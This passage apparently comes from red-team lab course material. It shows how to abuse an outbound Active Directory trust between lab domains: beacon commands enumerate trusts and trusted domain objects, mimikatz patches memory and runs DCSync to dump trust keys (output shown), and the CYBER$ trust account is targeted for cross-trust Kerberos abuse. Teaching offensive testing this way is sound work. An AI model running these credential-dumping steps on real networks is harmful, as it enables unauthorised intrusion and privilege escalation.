Remember that if Domain A trusts Domain B, users in Domain B can access resources in Domain A; but users in Domain A should not be able to access resources in Domain B. If we're in Domain A, then it's by design that we should not be able to access Domain B. An outbound trust exists between cyberbotic.io and msp.org. The direction of trust is such that cyberbotic.io trusts msp.org (so users of msp.org can access resources in cyberbotic.io).
Because DEV has a trust with CYBER, we can query the trusts that it has by adding the -Domain parameter.
beacon> getuid
[*] You are DEV\bfarmer
beacon> powershell Get-DomainTrust -Domain cyberbotic.io
SourceName : cyberbotic.io
TargetName : msp.org
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FILTER_SIDS
TrustDirection : Outbound
WhenCreated : 8/16/2022 9:49:17 AM
WhenChanged : 8/16/2022 9:49:17 AM
\
We can still partially exploit this trust and obtain "domain user" access from CYBER to MSP by leveraging the shared credential for the trust. Both domains in a trust relationship store a shared password (which is automatically changed every 30 days) in a Trusted Domain Object (TDO). These objects are stored in the system container and can be read via LDAP. Here we see that the DC in CYBER has two TDOs for its trusts with DEV and MSP.
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=trustedDomain)" --domain cyberbotic.io --attributes distinguishedName,name,flatName,trustDirection
[*] TOTAL NUMBER OF SEARCH RESULTS: 2
[+] distinguishedName : CN=dev.cyberbotic.io,CN=System,DC=cyberbotic,DC=io
[+] name : dev.cyberbotic.io
[+] flatName : DEV
[+] trustDirection : 3
[+] distinguishedName : CN=msp.org,CN=System,DC=cyberbotic,DC=io
[+] name : msp.org
[+] flatName : MSP
[+] trustDirection : 2
\
There are two options for obtaining the key material. One is to move laterally to the DC itself and dump from memory.
beacon> run hostname
dc-1
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> mimikatz lsadump::trust /patch
Domain: MSP.ORG (MSP / S-1-5-21-616357355-3455548143-339820157)
[ In ] CYBERBOTIC.IO -> MSP.ORG
[ Out ] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
[ In-1] CYBERBOTIC.IO -> MSP.ORG
[Out-1] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
This performs memory patching, which is very risky, particularly on a domain controller.
beacon> mimikatz @lsadump::dcsync /domain:cyberbotic.io /guid:{b93d2e36-48df-46bf-89d5-2fc22c139b43}
[DC] 'cyberbotic.io' will be the domain
[DC] 'dc-1.cyberbotic.io' will be the DC server
[DC] Object with GUID '{b93d2e36-48df-46bf-89d5-2fc22c139b43}'
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : msp.org
** TRUSTED DOMAIN - Antisocial **
Partner : msp.org
[ Out ] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
[Out-1] MSP.ORG -> CYBERBOTIC.IO
* 8/16/2022 9:49:17 AM - CLEAR - 93 8e aa 1f 5f 6e 2a cc 51 7d d4 a8 07 f2 f0 2c a3 e0 20 3b 24 32 68 58 0d f8 ad cc
* aes256_hmac 5db44be4317433d5ab1d3dea5925126d295d3e21c9682bca7fef76bc5a878f30
* aes128_hmac 9851d2d80411e6d40122005d1c361579
* rc4_hmac_nt f3fc2312d9d1f80b78e67d55d41ad496
\
[Out] and [Out-1] are the "new" and "old" passwords respectively (they're the same here because 30 days hasn't elapsed since the creation of the trust). In most cases, the current [Out] key is the one you want. In addition, there is also a "trust account" which is created in the "trusted" domain, with the name of the "trusting" domain. For instance, if we get all the user accounts in the DEV domain, we'll see CYBER$ and STUDIO$, which are the trust accounts for those respective domain trusts.
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(objectCategory=user)"
[*] TOTAL NUMBER OF SEARCH RESULTS: 11
[...]
[+] cn : CYBER$
[+] cn : STUDIO$
\
This means that the MSP domain will have a trust account called CYBER$, even though we can't enumerate across the trust to confirm it. This is the account we must impersonate to request Kerberos tickets across the trust.
This account is obviously not a domain admin, but there are multiple abuse primitives that can now be performed across the trust to elevate privileges - including kerberoasting, ASREPRoasting, RBCD, and vulnerable certificate templates.
As a challenge, try and find a way to get DA in this forest.